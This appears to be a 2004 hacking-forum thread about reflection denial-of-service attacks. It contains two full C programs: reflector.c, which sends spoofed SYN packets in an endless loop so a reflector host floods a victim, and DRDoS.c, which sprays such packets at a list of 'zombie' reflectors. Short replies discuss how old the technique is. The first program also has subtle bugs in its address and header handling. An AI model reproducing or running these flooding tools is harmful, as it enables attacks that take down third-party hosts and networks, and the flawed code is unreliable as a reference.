Forums: Reflector D/dos - Forums

Jump to content

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

Reflector D/dos

#1 User is offline   shaun2k2 

  • Sergeant First Class
  • Icon
  • Group: Specialist
  • Posts: 348
  • Joined: 14-August 03

Posted 28 February 2004 - 05:43 AM

There exists a (D)DoS attack which involves sending a packet to an "agent" or "reflector" machine, which involves the machine sending a packet in reply. Such a packet could be a packet with the SYN flag set, which would cause a SYN|ACK packet to be sent in reply. But, the SYN packet is sent to the reflector machine with a spoofed source address - THE ADDRESS OF THE VICTIM MACHINE. Then, the attacker continuously sends these SYN packets to the reflector machine with the source address of a target machine, causing the target machine to be flooded with SYN|ACK packets. The diagram below illustrates my point:


                         SYN
                 Dest IP: reflector
                    Src IP: target 
ATTACKER -----------------> REFLECTOR MACHINE
                                                             |
                                                             |
                                                             |     SYN|ACK 
                                                             |   Dest IP: target
                                                             |   Src IP: reflector
                                                             |
                                        TARGET MACHINE



By doing this, the attacker is essentially using "reflector" machine's bandwidth to continuously flood "target" machine with SYN|ACK packets. Commonly, the attacker would do this using multiple reflector machines, thus causing this attack to be a DDoS (Distributed Denial of Service attack). Although the concept of this attack is not new, and use of it certainly NOT new either (register.com was the victim of a reflector attack in 2k1 if I recall), I haven't seen any tools written to do this attack. I have written a Proof-of-concept to demonstrate the attack I described above. I hope you might find it useful in some way.

reflector.c
/* reflector.c - reflector DDoS utility.
 *
 * This program is a simple PoC program for the 'reflector' DDoS attack.
 * The attack theory is relatively simple:
 *
 * An attacker spoofs a SYN packet with the source address set to the victim's
 * IP address to an agent host.  The agent host responds to this SYN packet by
 * sending a SYN|ACK packet to the source address (which is actually the 
 * victim's IP address).  The attacker sends a continual storm of these 
 * packets, thus causing the victim host to be flooded continually with SYN|ACK
 * packets, by a totally innocent agent host ("reflector" host).  In this 
 * sense, the attacker is using a different host to carry out the DoS attack,
 * thus classifying it a DDoS attack.
 *
 * I don't take responsibility for usage of this program, I hope you find it
 * useful.  
 *
 * -shaun2k2
 */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>

/* signal handler function prototype. */
void clean_exit();

/* checksum calculation function prototype. */
unsigned short in_cksum(unsigned short *addr, int len);

int sock;  /* this is our raw socket.  This is a global int because the 
       signal handler needs to be able to reference it, so declaring
       in main() would not work. */


/* main() function.  The main function will build the packet, and send it
 * forever.  When it receives a form of termination signal from the user,
 * it will hand control to clean_exit(), which should cleanly exit the
 * program.  This function fills in the IP section of the packet, the TCP
 * section, and also our pseudo header, which is used in calculating a 
 * checksum value.
 *
 * return value: 0 - success.
 */
int main(int argc, char *argv[]) {
	
	/* Check the command line arguments. */
	if(argc < 3) {
  printf("reflect <reflect_sys> <reflect_sys_port> <victim>\n", argv[0]);
  printf("reflect DDoS written by shaun2k2 - <shaunige@yahoo.co.uk>\n");
  exit(-1);
	}
	

	/* pseudo header, used in calculating a checksum for each packet. */
	struct pseudohdr  {
  unsigned long saddr; /* source address */
  unsigned long daddr; /* dest address */
  char zer0; /* zero */
  unsigned char protocol; /* protocol to use */
  unsigned short length; /* length of packet */
	};
	
	int on = 1;
	char packet[4096]; /* Packet. */
	struct sockaddr_in dest; /* Our address info structures. */
	struct sockaddr_in dest1;
	struct iphdr *ip = (struct iphdr *) packet; /* our raw socket 
             structures. */
	struct tcphdr *tcp = (struct tcphdr *) packet + sizeof(struct iphdr);
	struct pseudohdr *pseudo;
	pseudo = (struct pseudohdr *) (packet + sizeof(struct iphdr) - sizeof(struct pseudohdr));
	struct hostent *he;
	struct hostent *he1;
	
	/* Check if the user is root (uid 0). */
	if(getuid() != 0) {
  printf("Must be root to create a raw socket!\n");
  exit(-1);
	}

	/* check if the reflector host exists. */
	if((he = gethostbyname(argv[1])) == NULL) {
  printf("Couldn't resolve hostname!\n");
  exit(-1);
	}

	/* check if the victim host exists. */
	if((he1 = gethostbyname(argv[3])) == NULL) {
  printf("Couldn't resolve hostname!\n");
  exit(-1);
	}
	
	/* create the socket. */
	if((sock = socket (AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
  perror("socket()"); /* Error creating socket. */
  exit(-1);
	}

	/* Fill in the destination (reflector machine) info. */
	dest.sin_family = AF_INET;
	dest.sin_port = htons(atoi(argv[2]));
	dest.sin_addr = *((struct in_addr *)he->h_addr); 
	memset(packet, 0, 4096); /* zero out the packet. */

	/* Fill in the structure for the source address (victim). */
	dest1.sin_addr = *((struct in_addr *)he1->h_addr);
	dest1.sin_port = htons(1337); /* this doesn't matter too much. */
	/* nothing else in needed. */
	
	/* fill in the pseudo header - this is needed to help calculate
  * the checksum for the tcp segment of the packet. */
	pseudo->saddr = inet_ntoa(dest1.sin_addr); /* source address
            (target). */
	pseudo->daddr = inet_ntoa(dest.sin_addr); /* dest address
           (reflector). */
	pseudo->zer0 = 0;
	pseudo->protocol = IPPROTO_TCP; /* we are using tcp. */
	pseudo->length = htons(sizeof(struct tcphdr)); /* total length of
         tcp segment of the
         packet. */
	
	/* Tell the kernel we'll fill in the IP headers
  * outselves. */
	if((setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) < 0 ) {
  perror("setsockopt");  
  exit(1); 
	}
	
	/* Fill in IP headers. */
	ip->ihl = 5;
	ip->version = 4;
	ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
	ip->id = htons(1337);
	ip->saddr = inet_ntoa(dest1.sin_addr); /* source address is the victims
       IP address. */
	
	ip->daddr = inet_ntoa(dest.sin_addr); /* dest address is the reflector
       machine. */
	ip->ttl = 255; /* time to live for the packet. */
	ip->protocol = 6;
	ip->check = 0; /* calculate checksum later, below. */
	ip->tos = 0;
	ip->frag_off = 0;
	/* set the checksum. */
	ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
	
	/* Fill in the TCP headers. */
	tcp->source = htons(dest1.sin_port);
	tcp->dest = htons(dest.sin_port); /* the dest port is the destination
                        port on the reflector machine. */
	
	tcp->seq = htons(random()); /* "random" sequence number. */
	tcp->ack = 0; /* ACKnowledgement */
	tcp->syn = 1; /* this is the first step in the TCP handshake, a syn
    packet. */
	tcp->window = htons(65535);
	tcp->doff = 5;
	tcp->rst = 0; /* ReSeT */
	tcp->check = 0; /* calculate checksum later, below. */
	tcp->psh = 0; /* PuSH */
	tcp->fin = 0; /* FINish */
	tcp->urg = 0; /* URGent */
	tcp->ack_seq = htons(0); /* ACKnowledgement SEQuence number.
        this is not an ACK packet, so we do not
        need this. */
	/* set the checksum. */
	tcp->check = (unsigned short)in_cksum((unsigned short *)pseudo, sizeof(struct tcphdr)+sizeof(struct pseudohdr));

	printf("Reflector DDoS attack:\n\n");
	printf("Localhost ----> %s <----> %s\n\n", argv[1], inet_ntoa(dest1.sin_addr));
	
	printf("DoSing %s!\n", inet_ntoa(dest1.sin_addr));
	

	signal(SIGINT, clean_exit); /* install signal handlers.  If user does
           send a signal which is either SIGINT
           or SIGQUIT, jump to clean_exit().
           */
	signal(SIGQUIT, clean_exit);
  
	/* Insert some fork()'s in here if you can afford a few processes. */
	while(1) {
  
	/* After all of our hard work, finally inject the packet. 
  * The packet will be sent out as fast as our machine can send them
  * out, and will continue until the user sends some form of term 
  * signal.  If our attack works correctly, the target machine should
  * be flooded with SYN|ACK packets.  If you run multiple instances
  * of this program, each using a different reflector ('agent') host,
  * this could be a full-scale DDoS attack, and a pretty effective one.
  */
	sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr));
	}

	/* return success - shouldn't ever get here, since loop is
  * infinite. */
	return(0);
}


/* signal handling function.  Catches signal, flushes socket, closes socket,
 * and exits gracefully. 
 *
 * return value: 0 - success
 */
void clean_exit() {
	signal(SIGINT, clean_exit); /* reset the signals. */
	signal(SIGQUIT, clean_exit); 
	printf("\n\n\aSignal caught!\n\n");
	printf("Exiting gracefully...\n");
	close(sock); /* close socket. */
	exit(0);
}


/* checksum calculation function. 
 * This function will efficiently calculate the checksum
 * for both the TCP part of the packet, and the IP part of the
 * packet.  This is a pretty popular checksum function found in
 * many raw sockets programs.  I am unaware of who the original
 * author is.  If you know, please let me know.
 *
 * return value: a calculated checksum value.
 */
unsigned short in_cksum(unsigned short *addr, int len) {
	register int sum = 0;
	u_short answer = 0;
	register u_short *w = addr;
	register int nleft = len;
	
	while (nleft > 1)  {
  sum += *w++;
         nleft -= 2;
	}
	
	if (nleft == 1) {
  *(u_char *)(&answer) = *(u_char *)w;
  sum += answer;
	}
	
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	answer = ~sum;
	return(answer); /* return the checksum value. */
}


I have attempted to make it as robust as possible. :)



Thank you for your time.
Shaun.
0

#2 User is offline   stonebreaker 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 98
  • Joined: 25-February 04

Posted 28 February 2004 - 06:31 AM

for this code to compiled is libpcap necessary?
0

#3 User is offline   prog 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 159
  • Joined: 26-February 04

Posted 28 February 2004 - 06:46 AM

I dont see it in the include list.
0

#4 User is offline   flame 

  • Staff Sergeant
  • Icon
  • Group: Members
  • Posts: 272
  • Joined: 06-August 03

Posted 28 February 2004 - 07:29 AM

i found a nice read about these kind of things
here it is:
h**p://www.tik.ee.ethz.ch/~ddosvax/talks/ddos_td.pdf
0

#5 User is offline   shaun2k2 

  • Sergeant First Class
  • Icon
  • Group: Specialist
  • Posts: 348
  • Joined: 14-August 03

Posted 28 February 2004 - 08:08 AM

No, libpcap isn't used in reflector.c - I used the UNIX raw socket library.

Quote

  i found a nice read about these kind of things
here it is:
h**p://www.tik.ee.ethz.ch/~ddosvax/talks/ddos_td.pdf

Thanks for posting flame :).


-Shaun.
0

#6 User is offline   Steffan 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 66
  • Joined: 08-September 03

Posted 28 February 2004 - 08:12 AM

THX. will have a look @ this ... ;)


Steven
0

#7 User is offline   linuxwolf 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 173
  • Joined: 28-July 03

Post icon  Posted 28 February 2004 - 08:17 AM

heh, old old OLD news, looks like another variant of the smurf. :/~. except it only uses one host machine, instead of smurfs, broadcasting to a list of ips. Now, THAT is devastating. :ph34r:
If you'd like an explanation on smurfs, ill get one for you.
0

#8 User is offline   Dinos 

  • Private
  • Icon
  • Group: Members
  • Posts: 18
  • Joined: 14-February 04

Posted 28 February 2004 - 10:34 AM

it's quite old news indeed but never the less it's a very good try and a nice study material for everybody in the board i guess. Though my opinion about DDoS is always the same, it's better not to be in their way ever.

Dinos
0

#9 User is offline   shaun2k2 

  • Sergeant First Class
  • Icon
  • Group: Specialist
  • Posts: 348
  • Joined: 14-August 03

Posted 28 February 2004 - 10:44 AM

Quote

  heh, old old OLD news, looks like another variant of the smurf. :/~. except it only uses one host machine, instead of smurfs, broadcasting to a list of ips. Now, THAT is devastating.
If you'd like an explanation on smurfs, ill get one for you.

That wasn't very accurate. The reflector attack is in no way related to the smurf attack. As for the explanation, I am very much aware of the theory of a smurf attack. In the way you seem to look at things, all attacks are variations of each other. I'm curious, how the hell does the reflector attack resemble the smurf attack? Cheers.

An old attack eh? Not half as old as buffer overflows. Buffer overflows are as old as assembly languages, reflector attacks are as old as the TCP/IP suite.


-Shaun.
0

#10 User is offline   easternerd 

  • Sergeant
  • Icon
  • Group: Members
  • Posts: 226
  • Joined: 23-December 03

Post icon  Posted 29 February 2004 - 11:48 AM

I guess what you mean to say is the usaage of Decoys and being undetectable
using the tcp sequence numbers .
its very old. ive even seen this in some newsgrops dated as old as 10 years back.
good info .
0

#11 User is offline   Tyrano 

  • Staff Sergeant
  • Icon
  • Group: Members
  • Posts: 296
  • Joined: 13-February 04

Posted 29 February 2004 - 12:25 PM

isn't this just a simple Distributed Reflective Denial Of Service (DRDOS), using only one machine instead of multiple zombie machines/routers?
0

#12 User is offline   shaun2k2 

  • Sergeant First Class
  • Icon
  • Group: Specialist
  • Posts: 348
  • Joined: 14-August 03

Posted 01 March 2004 - 08:38 AM

ROFL, why is everybody jumping all over me because I tried to post something useful. Hehe, did I claim the attack was new? Re-read. Gee, it might be old, but buffer overflows have been around as long as assembly languages, but you guys still like to talk about them (me too).

Quote

isn't this just a simple Distributed Reflective Denial Of Service (DRDOS), using only one machine instead of multiple zombie machines/routers?
Yes, of course it is. But obviously, people employ the attack using more than one machine. And is does qualify as a distributed denial of service attack, because you are using other machines to distribute it.

Quote

I guess what you mean to say is the usaage of Decoys and being undetectable
using the tcp sequence numbers .

Yeah, to some extent, but the sequence number in a SYN packet is random. Using other machines is a way to hide yourself, but packet spoofing would be employed by the attacker anyway. Other machines have high bandwidth, such as routers, so it's appealing.


-Shaun.
0

#13 User is offline   Tyrano 

  • Staff Sergeant
  • Icon
  • Group: Members
  • Posts: 296
  • Joined: 13-February 04

Posted 01 March 2004 - 08:55 AM

Quote

/**************************************************************************/
/*  DRDoS - Distributed Reflection Denial of Service tool                */
/*                                                                        */
/*  Copyright 2003 KrystalEye.com                                    */
/*                                                                        */
/*  This program is free software; you can redistribute it and/or modify  */
/*  it under the terms of the GNU General Public License as published by  */
/*  the Free Software Foundation; either version 2 of the License, or    */
/*  (at your option) any later version.                                  */
/*                                                                        */
/*  This program is distributed in the hope that it will be useful,      */
/*  but WITHOUT ANY WARRANTY; without even the implied warranty of        */
/*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the        */
/*  GNU General Public License for more details.                          */
/*                                                                        */
/**************************************************************************/
/*  Version - 1.0                                                        */
/*                                                                        */
/*  Purpose - Demonstration of DRDoS attacks                              */
/*                                                                        */
/*  Author - Nguyen Minh Nhat <ngmnhat@yahoo.com>                        */
/*          http://www.krystaleye.com/                                  */
/*                                                                        */
/*  Disclaimer - You must be ROOT to use RAW socket.                      */
/*              This program is for educational purposes only and        */
/*              network testing ON YOUR OWN NETWORK! Do not use it      */
/*              for malicious purposes!                                  */
/*              I am in NO way responsible for what you do with this    */
/*              program, or any damage you or this program causes.      */
/*                                                                        */
/*  For whom - People with a little knowledge of TCP/IP, C source code    */
/*            and general UNIX. Otherwise, please keep your hands off,  */
/*            and catch up on those things first.                        */
/*                                                                        */
/*  Compiling - gcc -o DRDoS DRDoS.c                                      */
/*                                                                        */
/*  Usage - Usage is described in the welcome screen of this program when */
/*          running it without arguments                                  */
/**************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>

#define IPHDRSIZE sizeof(struct iphdr)
#define TCPHDRSIZE sizeof(struct tcphdr)
#define PSEUDOHDRSIZE sizeof(struct pseudohdr)

struct pseudohdr
{
  unsigned long saddr;
  unsigned long daddr;
  char useless;
  unsigned char protocol;
  unsigned short length;
};
struct forcksum
{
  struct pseudohdr pseudo;
  struct tcphdr tcp;
};

unsigned short in_cksum(unsigned short * addr,int len);
int main(int argc,char * argv[]);

int main(int argc,char * argv[])
{
  int val;

  char fname[1000];
  FILE * list;
 
  char * packet;
  struct iphdr * ip;
  struct tcphdr * tcp;
  struct forcksum helpcksum;
 
  int serverfd;
  struct sockaddr_in server;
 
  char saddr[100],daddr[100];
  unsigned short a,b,c,d,sport,dport,tport;

  if (argc != 3)
  {
    printf("\nDistributed Reflection DoS tool - v1.0\n");
    printf("Copyright 2003 KrystalEye.com\n\n");
    printf("Usage: %s <list> <target IP>\n\n",argv[0]);
    printf("  -list    : Path to Zombies (\"Reflection Servers\") list file\n");
    printf("  -target IP: IP address of target\n\n");
    printf("*** Syntax of list file ***\n");
    printf("  -Each line contains 1 zombie's information\n");
    printf("  -Each zombie is described by 5 numbers:\n");
    printf("      4 octets of IP address (without '.') and Port number\n");
    printf("  -Numbers are seperated by at least 1 blank character (' ')\n");
    printf("Example: 203 162 56 78 80\n");
    printf("      => IP: 203.162.56.78 || Port: 80\n\n");
    printf("Email: ngmnhat@yahoo.com\n");
    printf("Good luck! Thanks for using this tool!\n\n");
    exit(-1);
  }
  else
  {
    sprintf(fname,"%s",argv[1]);
    sprintf(saddr,"%s",argv[2]);
    sprintf(daddr,"%s",argv[2]);
    tport = random() % 10000;
    sport = tport;
    dport = tport;
  }

  if ((packet = (char *)malloc(IPHDRSIZE + TCPHDRSIZE)) == NULL)
  {
    printf("Error: malloc()\n");
    exit(-1);
  }

  bzero(packet,sizeof(packet));
  bzero(&helpcksum,sizeof(helpcksum));

  ip = (struct iphdr *)packet;
  tcp = (struct tcphdr *)(packet + IPHDRSIZE);

  helpcksum.pseudo.saddr = inet_addr(saddr);
  helpcksum.pseudo.daddr = inet_addr(daddr);
  helpcksum.pseudo.useless = 0;
  helpcksum.pseudo.protocol = IPPROTO_TCP;
  helpcksum.pseudo.length = htons(TCPHDRSIZE);

  tcp->source = htons(sport);
  tcp->dest = htons(dport);
  tcp->seq = htonl(random());
  tcp->ack_seq = 0;
  tcp->doff = 5;
  tcp->fin = 0;
  tcp->syn = 1;
  tcp->rst = 0;
  tcp->psh = 0;
  tcp->ack = 0;
  tcp->window = htons(65535);
  tcp->urg_ptr = 0;
  tcp->check = 0;
  helpcksum.tcp = *tcp;
  tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);

  ip->ihl = 5;
  ip->version = 4;
  ip->tos = 0;
  ip->tot_len = IPHDRSIZE + TCPHDRSIZE;
  ip->id = random();
  ip->ttl = 255;
  ip->protocol = IPPROTO_TCP;
  ip->saddr = inet_addr(saddr);
  ip->daddr = inet_addr(daddr);
  ip->check = 0;
  ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);

  if ((serverfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
  {
    printf("Error: socket()\n");
    exit(-1);
  }

  setsockopt(serverfd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(int));

  bzero(&server,sizeof(struct sockaddr));
  server.sin_family = AF_INET;

  if ((list = fopen(fname,"r")) == NULL)
  {
    printf("Error: cannot open file\n");
    exit(-1);
  }
  fscanf(list,"%hu",&a);
  if (feof(list))
  {
    printf("Error: empty list\n");
    fclose(list);
    exit(-1);
  }
  fclose(list);

  printf("\nAttacking %s...\n\n",argv[2]);
  printf("Press <Ctrl-C> to Stop.\n");

  while (1)
  {
    list = fopen(fname,"r");

    while (!feof(list))
    {
      fscanf(list," %hu %hu %hu %hu %hu",&a,&b,&c,&d,&tport);

      sprintf(daddr,"%hu.%hu.%hu.%hu",a,b,c,d);
     
      helpcksum.pseudo.daddr = inet_addr(daddr);

      ip->daddr = inet_addr(daddr);
      ip->id = random();
      ip->check = 0;

      dport = tport;

      tcp->source = htons(random() % 10000);
      tcp->dest = htons(dport);
      tcp->seq = htonl(random());
      tcp->check = 0;
      helpcksum.tcp = *tcp;

      tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);
      ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);

      server.sin_addr.s_addr = inet_addr(daddr);
      server.sin_port = htons(dport);
     
      sendto(serverfd,packet,ip->tot_len,0,(struct sockaddr *)&server,sizeof(struct sockaddr));

      usleep(100);
    }

    fclose(list);
  }
 
  close(serverfd);
  return 0;
}

unsigned short in_cksum(unsigned short * addr,int len)
{
  register int sum = 0;
  u_short answer = 0;
  register u_short * w = addr;
  register int nleft = len;
  while (nleft > 1)
  {
    sum += *w++;
    nleft -= 2;
  }
  if (nleft == 1)
  {
    *(u_char *)(&answer) = *(u_char *)w;
    sum += answer;
  }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return answer;
}


I found this too. :D

and here is another explanation with even more pictures to complement shaun2k2's work
0

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting